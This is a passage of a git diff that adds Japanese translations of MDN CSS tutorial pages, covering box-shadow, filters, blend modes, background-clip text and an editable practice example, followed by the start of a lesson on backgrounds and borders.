class="simple"> + <p><strong>Warning</strong>: The thermostat on the cosmic transcender has reached a critical level.</p> +</article></pre> + +<p>そして、CSS です。</p> + +<pre class="brush: css">p { + margin: 0; +} + +article { + max-width: 500px; + padding: 10px; + background-color: red; + background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); +} + +.simple { + box-shadow: 5px 5px 5px rgba(0,0,0,0.7); +}</pre> + +<p>これにより、次のような結果が得られます。</p> + +<p>{{ EmbedLiveSample('A_simple_box_shadow', '100%', 100) }}</p> + +<p><code>box-shadow</code> プロパティ値に次の4つの項目があることがわかります。</p> + +<ol> + <li>最初の長さの値は<strong>水平オフセット</strong>（horizontal offset）です — 影が元のボックスから右へオフセットした距離です（値が負の場合は左）。</li> + <li>2番目の長さの値は<strong>垂直オフセット</strong>（vertical offset）です — 影が元のボックスから下方向へオフセットした距離です（値が負の場合は上方向）。</li> + <li>3番目の長さの値は、<strong>ぼかし半径</strong>（blur radius）です — 影に適用されるぼかしの量です。</li> + <li>色の値は、影の<strong>基本色</strong>（base color）です。</li> +</ol> + +<p>これらの値を定義するために必要な長さと色の単位を使用できます。</p> + +<h3 id="Multiple_box_shadows" name="Multiple_box_shadows">複数のボックスの影</h3> + +<p>次のように、1つの <code>box-shadow</code> の宣言で、複数のボックスの影をコンマで区切って指定することもできます。</p> + +<div class="hidden"> +<pre class="brush: html"><article class="multiple"> + <p><strong>Warning</strong>: The thermostat on the cosmic transcender has reached a critical level.</p> +</article></pre> +</div> + +<pre class="brush: css">p { + margin: 0; +} + +article { + max-width: 500px; + padding: 10px; + background-color: red; + background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); +} + +.multiple { + box-shadow: 1px 1px 1px black, + 2px 2px 1px black, + 3px 3px 1px red, + 4px 4px 1px red, + 5px 5px 1px black, + 6px 6px 1px black; +}</pre> + +<p>そして、この結果を得ます。</p> + +<p>{{ EmbedLiveSample('Multiple_box_shadows', '100%', 100) }}</p> + +<p>ここでは、複数の色付きレイヤーを持つ凸型のボックスを作成することで楽しいことができましたが、例えば複数の光源に基づいて影を付けてよりリアルな外観を作成するなど、好きな方法で使用できます。</p> + +<h3 id="Other_box_shadow_features" name="Other_box_shadow_features">その他のボックスの影の機能</h3> + +<p>{{cssxref("text-shadow")}} とは異なり、{{cssxref("box-shadow")}} には <code>inset</code> キーワードがあります — これを影の宣言の最初に置くと、外側の影ではなく内側の影になります。 見て理解してもらいましょう。</p> + +<p>まず、この例では一部異なる HTML を使用します。</p> + +<pre class="brush: html"><button>Press me!</button></pre> + +<pre class="brush: css">button { + width: 150px; + font-size: 1.1rem; + line-height: 2; + border-radius: 10px; + border: none; + background-image: linear-gradient(to bottom right, #777, #ddd); + box-shadow: 1px 1px 1px black, + inset 2px 3px 5px rgba(0,0,0,0.3), + inset -2px -3px 5px rgba(255,255,255,0.5); +} + +button:focus, button:hover { + background-image: linear-gradient(to bottom right, #888, #eee); +} + +button:active { + box-shadow: inset 2px 2px 1px black, + inset 2px 3px 5px rgba(0,0,0,0.3), + inset -2px -3px 5px rgba(255,255,255,0.5); +}</pre> + +<p>これにより、次のような結果が得られます。</p> + +<p>{{ EmbedLiveSample('Other_box_shadow_features', '100%', 70) }}</p> + +<p>ここでは、フォーカス/ホバー/アクティブ状態と共にボタンの装飾を設定しました。 このボタンには、デフォルトで単純な黒いボックスの影が設定されています。 さらに、1つは明るく、もう1つは暗い、2つの内側の影を、ボタンに素晴らしい陰影エフェクトを与えるためにボタンの反対側の角に置きます。</p> + +<p>ボタンが押されたとき、アクティブ状態は最初のボックスの影を非常に暗い内側の影と交換し、押されているボタンの外観を与えます。</p> + +<div class="note"> +<p><strong>注</strong>: <code>box-shadow</code> 値に設定できる別の項目があります — 色の値の直前に別の長さの値をオプションで設定できるのが、<strong>広がり半径</strong>（spread radius）です。 設定すると、影が元のボックスよりも大きくなります。 あまり一般的ではありませんが、言及する価値があります。</p> +</div> + +<h2 id="Filters" name="Filters">フィルタ</h2> + +<p>CSS フィルタは、Photoshop のようなグラフィックパッケージのレイヤーにフィルタを適用するのと同じ方法で、要素にフィルタを適用する方法を提供します。 利用可能ないくつかの異なるオプションがあり、{{cssxref("filter")}} のリファレンスページでそれらすべてについて詳しく読むことができます。 このセクションでは、構文について説明し、結果がどれほど楽しいものになるかを説明します。</p> + +<p>基本的に、フィルタは任意の要素、ブロック、インラインに適用することができます — あなたは単に <code>filter</code> プロパティを使い、それに特定のフィルタ関数の値を与えるだけです。 利用可能なフィルタオプションの中には他の CSS 機能と非常によく似た機能を持つものがあります。 例えば、<code>drop-shadow()</code> は非常によく似た方法で機能し、{{cssxref("box-shadow")}} や {{cssxref("text-shadow")}} と同じエフェクトをもたらします。 しかし、フィルタに関して本当に素晴らしいことは、ボックス自体を1つの大きな塊としてではなく、ボックス内のコンテンツの正確な形状に作用することです。 それは常に望んだものではないかもしれませんが、もっときれいに見えます。 簡単な例を使用して、意味を説明しましょう。</p> + +<p>まず、いくつかの簡単な HTML です。</p> + +<pre class="brush: html"><p class="filter">Filter</p> + +<p class="box-shadow">Box shadow</p> +</pre> + +<p>そして今、いくつかの CSS はドロップシャドウをそれぞれに適用します。</p> + +<pre class="brush: css">p { + margin: 1rem auto; + padding: 20px; + width: 100px; + border: 5px dashed red; +} + +.filter { + -webkit-filter: drop-shadow(5px 5px 1px rgba(0,0,0,0.7)); + filter: drop-shadow(5px 5px 1px rgba(0,0,0,0.7)); +} + +.box-shadow { + box-shadow: 5px 5px 1px rgba(0,0,0,0.7); +}</pre> + +<p>これにより、次のような結果が得られます。</p> + +<p>{{ EmbedLiveSample('Filters', '100%', 200) }}</p> + +<p>ご覧のとおり、フィルタのドロップシャドウは、テキストの正確な形と境界線の破線に従います。 ボックスの影はボックスの四角形にちょうど従っています。</p> + +<p>その他注意すべきこと。</p> + +<ul> + <li>フィルタは非常に新しく、Microsoft Edge を含む最近のほとんどのブラウザーでサポートされていますが、Internet Explorer ではまったくサポートされていません。 デザインにフィルタを使用する場合は、コンテンツがフィルタなしで使用可能であることを確認する必要があります。</li> + <li><code>-webkit-</code> 接頭辞が付いたバージョンの <code>filter</code> プロパティが含まれていることがわかります。 これは{{glossary("Vendor Prefix","ベンダー接頭辞")}}と呼ばれ、新しい機能の実装を完了する前にブラウザーによって使用され、その機能をサポートし、接頭辞の付かないバージョンと衝突せずにその機能を試すことができます。 ベンダー接頭辞はウェブ開発者によって使われることを意図していませんが、実験的な機能が本当に望まれるならば本番ページで使われることもあります。 この場合、現在のところ Chrome / Safari / Opera のサポートには <code>-webkit-</code> バージョンのプロパティが必要ですが、Edge と Firefox は最後の接頭辞の付かないバージョンを使用します。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: コードで接頭辞を使用する場合は、接頭辞が必要なバージョンと接頭辞の付かないバージョンを必ずすべて含めてください。 そうすれば、可能な限り最大数のブラウザーでこの機能を使用できるようになり、後でブラウザーが接頭辞をなくすときに接頭辞の付かないバージョンも使用できます。 また、これらの実験的な機能は変更される可能性があるため、コードが壊れる可能性があります。 接頭辞が削除されるまで、これらの機能を試してみることが本当に最善です。</p> +</div> + +<p>その他のフィルタの例が <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/filters.html">filters.html</a> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/filters.html">ソースコード</a>も参照）。</p> + +<h2 id="Blend_modes" name="Blend_modes">ブレンドモード</h2> + +<p>CSS ブレンドモードでは、2つの要素が重なるときにブレンドエフェクトを指定する要素にブレンドモードを追加できます — 各ピクセルに表示される最終的な色は、元のピクセル色とその下のレイヤーにあるピクセル色を組み合わせた結果になります。 ブレンドモードは、Photoshop のようなグラフィックアプリケーションのユーザーにとっては非常によく知られています。</p> + +<p>CSS でブレンドモードを使用する次の2つのプロパティがあります。</p> + +<ul> + <li>{{cssxref("background-blend-mode")}} は、単一の要素に設定された複数の背景画像と色をブレンドします。</li> + <li>{{cssxref("mix-blend-mode")}} は、設定されている要素と、それが重なっている要素をブレンドします — 背景とコンテンツの両方です。</li> +</ul> + +<p>こちらの <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/blend-modes.html">blend-modes.html</a> サンプルページ（<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/blend-modes.html">ソースコード</a>を参照）、および {{cssxref("<blend-mode>")}} リファレンスページには、ここに掲載されている以外にもたくさんの例があります。</p> + +<div class="note"> +<p><strong>注</strong>: ブレンドモードもまた非常に新しいもので、フィルタよりもサポートが多少劣ります。 Edge にはまだサポートがありませんし、Safari はブレンドモードオプションのいくつかをサポートするだけです。</p> +</div> + +<h3 id="background-blend-mode" name="background-blend-mode">background-blend-mode</h3> + +<p>ここでも、これをよりよく理解できるように、いくつかの例を見てみましょう。 まず、{{cssxref("background-blend-mode")}} です — ここでは次のいくつかの簡単な {{htmlelement("div")}} を示すことで、オリジナルとブレンドバージョンを比較できます。</p> + +<pre class="brush: html"><div> +</div> +<div class="multiply"> +</div></pre> + +<p>次にいくつかの CSS です — <code><div></code> に1つの背景画像と緑色の背景色を追加しています。</p> + +<pre class="brush: css">div { + width: 250px; + height: 130px; + padding: 10px; + margin: 10px; + display: inline-block; + background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; + background-color: green; +} + +.multiply { + background-blend-mode: multiply; +}</pre> + +<p>結果はこれです — 左側にオリジナル、右側に乗算ブレンドモードがあります。</p> + +<p>{{ EmbedLiveSample('background-blend-mode', '100%', 200) }}</p> + +<h3 id="mix-blend-mode" name="mix-blend-mode">mix-blend-mode</h3> + +<p>それでは、{{cssxref("mix-blend-mode")}} を見てみましょう。 ここでは上と同様の2つの <code><div></code> を提示しますが、要素がどのようにブレンドされるかを示すために、それぞれが紫色の背景を持つ単純な <code><div></code> の上に乗っています。</p> + +<pre class="brush: html"><article> + No mix blend mode + <div> + + </div> + <div> + </div> +</article> + +<article> + Multiply mix + <div class="multiply-mix"> + + </div> + <div> + </div> +</article></pre> + +<p>次がこれをスタイルする CSS です。</p> + +<pre class="brush: css">article { + width: 280px; + height: 180px; + margin: 10px; + position: relative; + display: inline-block; +} + +div { + width: 250px; + height: 130px; + padding: 10px; + margin: 10px; +} + +article div:first-child { + position: absolute; + top: 10px; + left: 0; + background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; + background-color: green; +} + +article div:last-child { + background-color: purple; + position: absolute; + bottom: -10px; + right: 0; + z-index: -1; +} + +.multiply-mix { + mix-blend-mode: multiply; +}</pre> + +<p>これにより、次のような結果が得られます。</p> + +<p>{{ EmbedLiveSample('mix-blend-mode', '100%', 200) }}</p> + +<p>ここでは、乗算混合（multiply mix）ブレンドが2つの背景画像だけでなく、その下の <code><div></code> からの色もブレンドしていることがわかります。</p> + +<div class="note"> +<p><strong>注</strong>: {{cssxref("position")}}、{{cssxref("top")}}、{{cssxref("bottom")}}、{{cssxref("z-index")}} など、上記のレイアウトプロパティの一部を理解していなくても心配しないでください。 これらについては、<a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a>のモジュールで詳しく説明します。</p> +</div> + +<h2 id="-webkit-background-clip_text" name="-webkit-background-clip_text">-webkit-background-clip: text</h2> + +<p>先に進む前に、簡単に言及しておきたいと思うもう1つの新生機能は、{{cssxref("background-clip")}} の <code>text</code> 値です（現在 Chrome、Safari、Opera でサポートされており、Firefox で実装されています）。 独自の <code>-webkit-text-fill-color: transparent;</code> 機能とともに使用すると、背景画像を要素のテキストの形に切り取ることができ、いくつかの素晴らしいエフェクトをもたらします。 これは公式の標準ではありませんが、普及しており、開発者によってかなり広く使用されているため、複数のブラウザーにわたって実装されています。 このコンテキストで使用すると、Webkit / Chrome 以外のブラウザーでも、両方のプロパティに <code>-webkit-</code> ベンダー接頭辞が必要になります。</p> + +<pre class="brush: css">.text-clip { + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +}</pre> + +<p>では、なぜ他のブラウザーが <code>-webkit-</code> 接頭辞を実装したのでしょうか？ 主にブラウザーの互換性のためにです — 非常に多くのウェブ開発者が <code>-webkit-</code> 接頭辞を使用してウェブサイトを実装し始めているため、実際には標準に従っているのに、他のブラウザーでは壊れているように見え始めました。 そこで彼らはそのような機能をいくつか実装することを余儀なくされました。 これはあなたの仕事で標準的でなく接頭辞の付いた CSS 機能を使用する危険性を浮き彫りにします — それらはブラウザーの互換性の問題を引き起こすだけでなく、変更される可能性もあるため、コードはいつでも壊れる可能性があります。 標準に固執するほうがはるかに良いです。</p> + +<p>本番環境でこのような機能を使用したい場合は、ブラウザー間で徹底的なテストを行い、機能が機能しない場合でもサイトが引き続き使用可能であることを確認してください。</p> + +<div class="note"> +<p><strong>注</strong>: 完全な <code>-webkit-background-clip: text</code> のコードの例については、<a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/background-clip-text.html">background-clip-text.html</a> を参照してください（<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/background-clip-text.html">ソースコード</a>も参照）。</p> +</div> + +<h2 id="Active_learning_experiment_with_some_effects" name="Active_learning_experiment_with_some_effects">能動的学習: いくつかのエフェクトを用いた実験</h2> + +<p>今度は、あなたの番です。 この能動的学習のために、下に提供されているコードを使用して、上で読んだエフェクトのいくつかを試してみてください。</p> + +<p>間違えた場合は、<em>Reset</em> ボタンを使用して例をいつでもリセットできます。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><div class="style-me"> +</div></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">.style-me { + width: 280px; + height: 130px; + padding: 10px; + margin: 10px; + display: inline-block; + background-color: red; + background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px, + linear-gradient(to bottom right, #f33, #a33); +} </textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 15em;padding: 10px;border: 1px solid #0095dd;overflow:hidden;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + </div> +</div> +</pre> + +<pre class="brush: js">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 820) }}</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事が楽しかったことを願っています — ぴかぴかのおもちゃで遊ぶのは概してそうで、最先端のブラウザーで、どのような種類のツールが使用可能になりつつあるのかを見るのはいつも面白いです。 <a href="/ja/docs/Learn/CSS/Styling_boxes">ボックスの装飾</a>の記事の終わりに到達したので、次に私たちの評価であなたのボックスの装飾のスキルをテストします。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</p> + +<p> </p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Box_model_recap">ボックスモデルの復習</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Backgrounds">背景</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Borders">境界線</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Styling_tables">表の装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Advanced_box_effects">ボックスの高度なエフェクト</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">装飾的なレターヘッド付きの便箋の作成</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_boxes/A_cool_looking_box">かっこいいボックス</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/ja/learn/css/building_blocks/backgrounds_and_borders/index.html new file mode 100644 index 0000000000..d2e65370cd --- /dev/null +++ b/files/ja/learn/css/building_blocks/backgrounds_and_borders/index.html @@ -0,0 +1,338 @@ +--- +title: 背景と枠線 +slug: Learn/CSS/Building_blocks/Backgrounds_and_borders +tags: + - Background + - Beginner + - CSS + - Image + - Learn + - Position + - borders + - color +translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div> + +<div></div> + +<p>このレッスンでは、CSS の背景・枠線モジュールの機能を使ったクリエイティブな表現方法をいくつか見ていきます。グラデーション、背景画像、角の丸めを加えることを通じて、CSS を使ったスタイリングの多様な課題に対する解答が得られるでしょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアがインストールされている</a>こと、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>）および CSS に関するアイデア（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>）に関する基本的な知識を得ている。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ボックスの背景と枠線をスタイルする方法を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Styling_backgrounds_in_CSS" name="Styling_backgrounds_in_CSS">CSS による背景の設定</h2> + +<p>CSSの {{cssxref("background")}} プロパティは、このレッスンで説明する多くの個別指定プロパティ(<strong>longhand property</strong>)を一度に指定する一括指定プロパティ(<strong>shorthand property</strong>)です。スタイルシートで複雑な背景プロパティを見かけると、一度に多くの値を渡していて理解するのが少し難しく感じるかもしれません。</p> + +<pre class="brush: css notranslate"><code>.box { + background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat, + url(big-star.png) center no-repeat, rebeccapurple; +} </code> +</pre> + +<p>一括指定の仕方については後ほど改めて扱います。まずは背景に対してCSSで何ができるのかを知るために、ひとつひとつのプロパティを見ていきましょう。</p> + +<h3 id="Background_colors" name="Background_colors">背景色</h3> + +<p> {{cssxref("background-color")}} プロパティは、要素の背景色を定義します。このプロパティは、有効な<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/color_value"><color></a>値を受け入れます。<code>background-color</code>は、要素の <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/CSS/Building_blocks/The_box_model#Parts_of_a_box"><strong>Content box</strong>, <strong>Padding box</strong></a> の範囲でコンテンツの下に広がります。</p> + +<p>次の例では、さまざまな色の値値を使用して、ボックス(<code>.box</code>)、見出し(<code>h2</code>)、および {{htmlelement("span")}} 要素に背景色を指定しています。</p> + +<p><strong>利用可能な <a href="https://wiki.developer.mozilla.org/ja/docs/Web/CSS/color_value"><color></a> を使ってみましょう。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 600)}}</p> + +<h3 id="Background_images" name="Background_images">背景画像</h3> + +<p> {{cssxref("background-image")}} プロパティは、要素の背景に表示する画像を指定します。次の例には、2個のボックスがあります。片方のボックスでは背景画像がボックスより大きく、他方のボックスの背景画像は小さな星の画像です。</p> + +<p>この例は、背景画像に関する2つのことを示しています。<br> + デフォルトでは、大きな画像はボックスに収まるように縮小されず、一部分のみが表示されます。いっぽう、小さな画像はボックスの内側いっぱいまで繰り返されます。この場合、実際の画像は星1個のみです。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 600)}}</p> + +<p>背景画像と背景色を同時に指定すると、背景色より手前に背景画像が表示されます。上記の例に<code>background-color</code>プロパティを追加して、動作を確認してみましょう。</p> + +<h4 id="Controlling_background-repeat" name="Controlling_background-repeat">背景画像の繰り返しの指定</h4> + +<p> {{cssxref("background-repeat")}} プロパティは、画像の繰り返し表示の動作を制御するために使用されます。使用可能な値には次のものがあります:</p> + +<ul> + <li><code>no-repeat</code> — 背景画像が繰り返されるのを完全に防ぎます。</li> + <li><code>repeat-x</code> — 水平方向に繰り返します。</li> + <li><code>repeat-y</code> — 垂直方向に繰り返します。</li> + <li><code>repeat</code> — デフォルト; 両方の方向に繰り返します</li> +</ul> + +<p><strong>以下の例でこれらの値を試してみましょう。値を<code>no-repeat</code>に設定したため、星が1つだけ表示されます。異なる値(<code>repeat-x</code>や<code>repeat-y</code>)に変えてみて、その効果を確認してみましょう。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 600)}}</p> + +<h4 id="Sizing_the_background_image" name="Sizing_the_background_image">背景画像のサイズ指定</h4> + +<p>先ほどの例では、背景を設定したい要素より画像のほうが大きいため画像の一部しか表示されませんでした。 {{cssxref("background-size")}} プロパティを使用して、背景内に収まるように画像のサイズを調整できます。</p> + +<p><code>background-size</code>プロパティは、<a href="/ja/docs/Web/CSS/length"><length></a> または <a href="/ja/docs/Web/CSS/percentage"><percentage></a> の値をとることができます。</p> + +<p>また、次のキーワードを使うこともできます：</p> + +<ul> + <li><code>cover</code> —ブラウザは、アスペクト比を維持したままボックスの領域を完全に覆うように画像の大きさを調整します。<br> + この場合、画像の一部が箱の外に出る可能性があります。</li> + <li><code>contain</code> —ブラウザは、画像がボックス内にちょうど収まるように画像の大きさを調整します。<br> + この場合、画像とボックスのアスペクト比が異なる場合、画像の左右または上下に隙間ができる可能性があります。</li> +</ul> + +<p>次の例では、<strong><length></strong>値を使用して先ほどの大きな画像がボックス内におさまる大きさに変更しました。結果として、画像が歪んでいることがわかります。</p> + +<p>以下を試してみましょう。</p> + +<ul> + <li>背景のサイズをあらわす<strong><length></strong>値を変更します。</li> + <li><strong><length></strong>値を削除し、<code>background-size: cover</code>や<code>background-size: contain</code>を使うとどうなるかを確認します。</li> + <li>画像がボックスより小さい場合は、<code>background-repeat</code>の値を変更して画像を繰り返すことができます。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 750)}}</p> + +<h4 id="Positioning_the_background_image" name="Positioning_the_background_image">背景画像の位置の指定</h4> + +<p> {{cssxref("background-position")}} プロパティを適用すると、そのボックス上で背景画像を表示する位置を選択できます。このプロパティでは、ボックスの左上隅を<code>(0, 0)</code>として、水平方向の座標軸(<strong>horisontal axis</strong>)を<code>x</code>軸(<strong><code>x</code> axis</strong>, 複数形はaxes）、垂直方向の座標軸(<strong>vertical axis</strong>)を<code>y</code>軸(<strong><code>y</code> axis</strong>)とする座標系にそって画像を配置します。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: デフォルトの<code>background-position</code>の値は<code>(0, 0)</code>です。</p> +</div> + +<p>最も一般的な<code>background-position</code>の値は、2個の値をとります—水平方向、垂直方向の順で値を指定します。</p> + +<p><code>top</code>や<code>right</code>などのキーワードを使用できます (詳しくは{{cssxref("background-image")}}ページを参照):</p> + +<pre class="brush: css notranslate"><code>.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: top center; +} </code> +</pre> + +<p>そして、 <a href="/ja/docs/Web/CSS/length"><length></a>および<a href="/ja/docs/Web/CSS/percentage"><percentage></a>を使用できます:</p> + +<pre class="brush: css notranslate"><code>.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: 20px 10%; +} </code> +</pre> + +<p>次のように、キーワードの値を<length>や<percentage>の値と混在させてもかまいません。</p> + +<pre class="brush: css notranslate">.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: top 20px; +}</pre> + +<p>最後に、4つの値をとる構文を使って、ボックスのいずれかの端からの距離を示すこともできます。この場合の長さは、その直前の値で指定した位置からの距離（オフセット, <strong>offset</strong>）です。下のCSSでは、背景を上(<code>top</code>)から<code>20px</code>、右(<code>right</code>)から<code>10px</code>に配置しています。</p> + +<pre class="brush: css notranslate"><code>.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: top 20px right 10px; +} </code></pre> + +<p><strong>次の例を使い、プロパティの値を変えてボックス内で星を動かしてみましょう。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 600)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>background-position</code> は {{cssxref("background-position-x")}} および {{cssxref("background-position-y")}} の一括指定プロパティで、それぞれの座標軸の方向の位置を個別に設定できます。</p> +</div> + +<h3 id="Gradient_backgrounds" name="Gradient_backgrounds">グラデーション背景</h3> + +<p>グラデーション(<strong>gradient</strong>, <strong><ruby>勾配<rp>(</rp><rt>こうばい</rt><rp>)</rp> </ruby></strong>)は、背景に使用する場合には画像と同じようにふるまいます。グラデーションは{{cssxref("background-image")}}プロパティを使用して設定されます。</p> + +<p><a href="/ja/docs/Web/CSS/gradient"><gradient></a>データ型のMDNページで、さまざまな種類のグラデーションとそれらを使ってできることについて詳しく読むことができます。Webで数多く提供されているCSSグラデーションジェネレーター(例えば "<cite><a href="https://cssgradient.io/">CSS Gradient</a></cite>")を使用して、グラデーションを楽しく試せます。このWebサービスでは、グラデーションを作成したのち、グラデーションを生成するソースコードをコピー&ペーストできます。</p> + +<p>以下の例でいろいろなグラデーションを試してみましょう。 1つめのボックスには、ボックス全体に広がる線形グラデーション(linear gradient)を指定しています。2つめのボックスには、サイズを設定して(そのために繰り返されている)放射状グラデーション(radial gradinet)を指定しています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 600)}}</p> + +<h3 id="Multiple_background_images" name="Multiple_background_images">複数の背景画像</h3> + +<p><code>background-image</code>プロパティにコンマ区切りで複数の画像を指定することで、複数の背景画像を使用することもできます。</p> + +<p>これを行うと、背景画像が互いに重なり合う可能性があります。背景は、最後に指定したものが一番下に置かれ、先のものが順に上に重ねられます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: グラデーションを通常の背景画像と同じように重ね合わせることができます。</p> +</div> + +<p>他の<code>background-*</code>プロパティも、<code>background-image</code>と同じ方法でコンマ区切りの値を持つことができます:</p> + +<pre class="brush: css notranslate">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png); +background-repeat: no-repeat, repeat-x, repeat; +background-position: 10px 20px, top right;</pre> + +<p>プロパティに指定した複数のプロパティ値は、他のプロパティの同じ位置にある値と対応します。上の例で、<code>image1</code>の<code>background-repeat</code>値は<code>no-repeat</code>です。では、プロパティごとに値の個数が異なるとどうなるでしょうか？答えは、個数が少ない値が繰り返し使われる、ということです。上の例では、4つの背景画像がありますが、2つの <code>background-position</code> の値しかありません。最初の2つの位置の値は対応する位置の画像に適用され、その後は繰り返されます。つまり、<code>image3</code>には1番目、<code>image4</code>には2番目の値がふたたび使われます。</p> + +<p><strong>実際に試してみましょう。以下の例には2つの画像があります。重ね合わせの順序を確かめるために、どの背景画像を先にするかを変えてみてください。また、他のプロパティを操作して、位置、サイズ、繰り返し方法を変えてみてください。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 500)}}</p> + +<h3 id="Background_attachment" name="Background_attachment">スクロール時の背景画像の固定</h3> + +<p>背景に使用できるもうひとつのオプションは、コンテンツがスクロールするときのスクロール方法を指定することです。これは, {{cssxref("background-attachment")}} プロパティを使用して制御され、次の値を取ることができます:</p> + +<ul> + <li><code>scroll</code>: ページ全体のスクロールに応じて要素の背景を移動します。要素のコンテンツがスクロールされた場合には、背景は移動しません。<br> + 実際には背景はページ上の同じ位置に固定されているため、ページがスクロールするとスクロールします。</li> + <li><code>fixed</code>: 要素の背景をビューポート(viewport)に固定します。ページや要素のコンテンツがスクロールされても移動せず、画面上の同じ位置にとどまります。</li> + <li><code>local</code>: 要素の背景をその要素自身に対して固定します。要素のコンテンツをスクロールした場合にもそれにあわせて背景が移動します。<br> + <code>local</code>値は、多くの場合に<code>scroll</code>値の挙動が期待どおりではないことから新しく追加されました（他の値はInternet Explorer 4以降でサポートされますが、<code>local</code>はIE 9以降のみでサポートされます）。</li> +</ul> + +<p> {{cssxref("background-attachment")}} プロパティはスクロールするコンテンツがある場合にのみ効果があります。3つの値の違いを示す<a href="https://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">デモ（background-attachment.html）</a>を作成したのでご覧ください（<a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">ソースコード</a>も公開しています）。</p> + +<h3 id="Using_the_background_shorthand_property" name="Using_the_background_shorthand_property">背景に関する指定をまとめておこなう</h3> + +<p>このレッスンの冒頭で、 {{cssxref("background")}} プロパティを使って背景が指定されている場合についてふれました。この一括指定プロパティを使うと、複数のプロパティを一度に設定できます。</p> + 